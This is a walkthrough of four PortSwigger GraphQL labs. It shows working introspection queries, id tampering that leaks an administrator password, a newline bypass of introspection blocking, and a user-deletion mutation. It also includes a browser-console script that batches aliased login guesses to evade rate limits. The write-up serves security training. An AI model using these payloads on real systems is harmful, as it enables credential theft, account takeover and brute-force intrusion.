Introduction
Security practitioners need to specialize in protecting GraphQL because its powerful interface serves as a primary target for attackers. Users will find practical explanations of four laboratories at PortSwigger’s Web Security Academy which demonstrate how attackers exploit GraphQL through unauthorized data accessibility along with accidental field disclosure of hidden endpoints and brute force protection workarounds. The labs contain reconnaissance and exploitation followed by remediation sections that mirror authentic penetration testing approaches utilized in the field. All developers and bug bounty hunters will benefit from learning these techniques since they improve both exploitation skills and GraphQL API security abilities.
Now we can go all days and weeks discussing about how graphql works and some vulnerabilities, but the best way to understand something is to do them hands on. For this we will be solving some portswigger labs. And make sure before solving labs, you have installed ==inQL== plugin in your burpsuite. Yes it can be installed on community edition as well.
Lab 1: Accessing private GraphQL posts
Lab URL - https://portswigger.net/web-security/graphql/lab-graphql-reading-private-posts
App Exploration:
First we see at at the page refresh, i.e each time page loads we see an POST request made. And each time we click view post we see another POST request is made.
Now carefully look at the screenshot attached above. The first POST request that loads on each page refresh does not include variablesand might not be vulnerable when tested. We tried testing but nothing of much help was returned. Now in the second POST request the one marked with GREEN COLOUR, might be interesting as it includes an id parameter in it’s request.
Graphql Introspection Query
First we try and perform graphql introspection query. To do this manually you can refer to this medium article. Now we find the POST request made to /graphql/v1 endpoint, and let’s change the body of the POST query to the following.
GraphQL Introspection Query:
The GraphQL schema structure with its types along with fields directives and operations can be obtained through an introspection query. The metadata exposure relies on reserved __schema and __Type fields in this system.
Now in our case the introspection query looks something like the following.
{"query": "query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}"}
Let’s quickly run through some of the important keywords in this graphql query.
- Root Operations: Fetches names of root types (
queryType, mutationType, subscriptionType).
- Types: Retrieves all schema types via
types using the FullType fragment.
- Fields: Includes deprecated fields, their arguments (
InputValue fragment), return types (TypeRef fragment), and deprecation details.
- Inputs/Enums: Lists input fields, enum values (including deprecated ones), and possible union/interface types.
- Directives: Lists schema directives, their locations, and arguments.
- TypeRef Fragment: Unwraps nested types (e.g.,
NonNull(List(String))) via recursive ofType traversal.
- InputValue Fragment: Describes input arguments (name, type, default value).
In the response, you will get all valid queries that we can use in graphql. This will be extremely useful in crafting graphql queries. Now let’s search for interesting parameters like emails and passwords. For emails we get 0 matches.
But when we search for passwords we do find an query called postPassword.
Getting password through graphql
Now let’s go back to our repeater, this time in request tab you should see Graphql. Go to this section and add postPassword on the last line and let’s see our responses.
We get our postPassword response as null. Hmm, that sounds interesting, what if we change variable values?
On changing the id to 3 let’s see if we can get something interesting.
For us this time we go get our password !!!.
Alternate ways to identify graphql queries from graphql introspection using json.
Now if you don’t want to search and traverse through all the queries from graphql introspection query, then you can simply copy the response header, only the json part. Save it to an text file, and load the text file with your graphql endpoint URL. If you are using inQL plugin then you should be able to scan for graphql queries. As you can see in the diagram bellow we do get our query which is nothing but postPassword
Lab 2: Accidental exposure of private GraphQL fields
Lab URL - https://portswigger.net/web-security/graphql/lab-graphql-accidental-field-exposure
App Exploration:
Now while exploring the lab, we see our login request is handled by graphql query.
We also do see that upon login we can change password of our user, that input and request also get’s passed through graphql but, for now let’s tamper and play with login request and see if we can get any other user’s credentials.
Graphql Introspection Query.
The GraphQL schema structure with its types along with fields directives and operations can be obtained through an introspection query. The metadata exposure relies on reserved __schema and __Type fields in this system
Now send the login request to Repeater using ctrl+R. Right click and on top you should see graphql, and when you place your mouse on that, you should see Set Introspection Query. And you should send the request to the server and observe the response from the server.
Now, from the request, copy the json data, and save it to a text file. And go to inQL scanner, copy the endpoint, and enter this json data as input. You should see valid queries that we can use in graphql.
Now you can go ahead and try tampering with this parameters, but we end up getting nothing. Now we can try something else. Here is step by step guide on what we can do.
Step 1: Send introspection query, and watch for response. You can do this with right click and selecting ==Graphql > Set Introspection Query==
Step 2: Now once you have sent the request, right click it, select ==Graphql > Save GraphQL queries to site map==
Step 3: Now go to Target, view your sitemap for your website and then we see 5 POST request are made.
The first yellow one makes getBlogPost and the second orange request performs graphql query to getAllBlogPost, which does little help to us. But the third request has something valuable, it gets user, send it to repeater and see what happens.
By default, our POST request has JSON data like something like the following. We see that the id parameter has been set to 0.
{"query":"query($id: Int!) {\n getUser(id: $id) {\n id\n username\n password\n }\n}","variables":{"id":0}}
Now when we see that we don’t get anything interesting in the response.
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Set-Cookie: session=jZ2FQLiRy2iGKohvMlC1JLmszDYs0PfW; Secure; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 39
{
"data": {
"getUser": null
}
}
Tampering the id value.
Now, what if we change the ID to something like 1. Let’s see what happens. Our request looks like something like following.
POST /graphql/v1 HTTP/2
Host: 0a6100d104bed431a027157e005d0023.web-security-academy.net
Cookie: session=2Jghu6Q0onW8xIcMyCgZoQvmVMd9vBzB
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-GB,en;q=0.9
Accept: application/json
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Content-Type: application/json; charset=utf-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: https://0a6100d104bed431a027157e005d0023.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a6100d104bed431a027157e005d0023.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Content-Length: 117
{"query":"query($id: Int!) {\n getUser(id: $id) {\n id\n username\n password\n }\n}","variables":{"id":1}}
Now we get the password for administrator.
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Set-Cookie: session=PzxIBAiGmDkkkSU4l9PZNHdH2NPsE32B; Secure; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 133
{
"data": {
"getUser": {
"id": 1,
"username": "administrator",
"password": "udggyox0zi3qtil5gqhl"
}
}
}
Now we login with these credentials and we delete the carlos user. You can also try changing the id parameter to 2, 3 and so on to see other user’s credentials. With this we solve the lab.
Lab 3: Finding a hidden GraphQL endpoint
Lab URL - https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint
Discovering the endpoint.
To discover endpoints we need first come up with a word list that contains names of some endpoints that exist in the graphql. Portswigger already made an solution for this task. You can refer to this URL. Now our wordlist should look something like the following:
/graphql
/api
/api/graphql
/graphql/api
/graphql/graphql
/graphql/v1
Now let’s start fuzzing for interesting endpoints. Note that unlike the rest of endpoints the /api does not return 404 but returns with 400./
Note that while fuzzing don’t URL encode the characters. Now let’s take detailed look on the request.
Crafting graphql query for our endpoint.
The error tells us that we don’t have an valid query for this endpoint. Let’s have an look a portswigger documentation. You can refer this link.
According to the BURPSUITE documentations when we try both of the attempts, the second attempt works. Here is how it looks inside BURPSUITE. Below we are trying to set introspection query with newline and it fails. This is our first attempt as per portswigger docs.
Now as per the portswigger docs, let’s try sending the GET request which translates to something like the following :
GET /api?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D
Notice that we are sending the graphql parameters with new line character which is %0A. Note that the URL decode of the above query would look something like below.
query{__schema
{queryType{name}}}
This new line character is helpful in bypassing graphql instrospection defenses. It helps to send introspection queries when developers have restricted them. As you can see our second attempt works when we try including an query in newline.
Now if we try to inject grapql introspection query within this request we get error. But what if we can inject in graphql parameters instead of normal http GET request?
Bypassing graphql introspection defences with newline
Let’s switch to GRAPHQL query and see if we can manually send introspection. In request section just switch from Pretty to Graphql and we just switch { to new line and we bypass the error and restriction. Now we are able to perform introspection query !!
As we have solved in previous labs, let’s quickly save the request to an json file, and send it to inQL scanner or you can save graphql queries to sitemap once you are able to send introspection queries.
Deleting carlos user
Now you might be probably wondering both of the methods get you the same results right? Yes, but if you use the method in which first you send the introspection query and then if you save the graphql queries to your sitemap, then it probably saves you some time, it’s a bit quick and less messy. Now we found two queries. One deletes the user and another one finds the user. Both of the graphql query might look something like below.
mutation {
deleteOrganizationUser(input: DeleteOrganizationUserInput) {
user {
id
username
}
}
}
query {
getUser(id: Int!) {
id
username
}
}
Now let’s add these to sitemap, and in sitemap you need to go to /api to make sure to see the endpoints. Note that the one highlighted with red deletes user, and with green let’s us know the users through id.
Now let’s quickly add both requests to repeater and tweak our the id parameters from the getUser graphql query. Let’s find out the id of users.
Now the id variable with value 3 results in user named carlos.
Let’s make quick note of it and then use our deleteOrganizationUser graphql query to delete this user.
With this we solve our lab !!
Lab 4: Bypassing GraphQL brute force protections
Lab URL - https://portswigger.net/web-security/graphql/lab-graphql-brute-force-protection-bypass
Now this lab is fairly simple. If you try and bruteforce your way in, you will get to notice the rate limiting feature applied in the web application. Now let’s quickly paste this text in our browser console so that we can simulate bruteforce attack.
Performing bruteforce attack with simple js script.
copy(`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`.split(',').map((element,index)=>` bruteforce$index:login(input:{password: "$password", username: "carlos"}) { token success } `.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));console.log("The query has been copied to your clipboard.");
Once you have pasted the text you would notice that the bruteforce attack has started.
Packing our bruteforce attack into an single graphql query
Since we already got an valid user credentials, let’s take an look at how the request gonna look inside burp suite. We notice graphql section. In this let’s paste our bruteforce text from the browser console and look at the response.
Finding password for carlos user
We do get our response, and for us the bruteforce8 returns true, which is 1234567, so let’s try logging in to the carlos user with 1234567 as password. And we do solve our lab.
Now with this simple steps we might solve the lab, but we did not understand why we were able to bypass the rate limits. For this let’s deep dive on this lab and what we have done.
Understanding rate limit bypasses in graphql
GraphQL’s built-in rate limiting can be an security issue when it only checks the number of HTTP requests rather than the individual operations performed inside an single request Instead of spamming separate login requests that would normally trigger the rate limit, you can send multiple login attempts into one heavy GraphQL query using query aliasing.
Here’s the brutal core of the hack: you build one massive query that includes many login operations, each with its own alias (like bruteforce0, bruteforce1, etc.). Each alias carries a different password from your list. The server ends up processing every attempt in a single HTTP request, completely sidestepping the rate limiter that only watches the number of requests, not the number of operations.
==In nutshell we are packing up our bruteforce attack of all passwords combinations into an single graphql query using aliasing==. A quick snippet in the browser console automates this:
copy(`123456,password,...`.split(',').map((element,index)=>
` bruteforce$index:login(input:{password: "$password", username: "carlos"})
{ token success } `
.replaceAll('$index',index)
.replaceAll('$password',element))
.join('\n'));
This script converts a list of passwords into a batch of login attempts. When executed, it reveals which alias, say bruteforce8, returns success—proving that one of the passwords, like 1234567, is valid.
Conclusion
The attack capabilities of GraphQL become evident through practical demonstrations which show both private post scraping through introspection introspection and query aliasing for breaking rate limits. The key takeaway? Never assume obscurity equals security. Enable audio-directory limitations in live environments and review API components beyond introspection and check for unintended field access points and deploy operation rate regulations. Both InQL and Burp’s GraphQL parser serve defenders by revealing possible leaks. Attackers discover through these labs that even protected APIs maintain vulnerabilities which become accessible to view. Ready to test your skills? You should use Burp Suite now to perform ethical GraphQL penetration tests.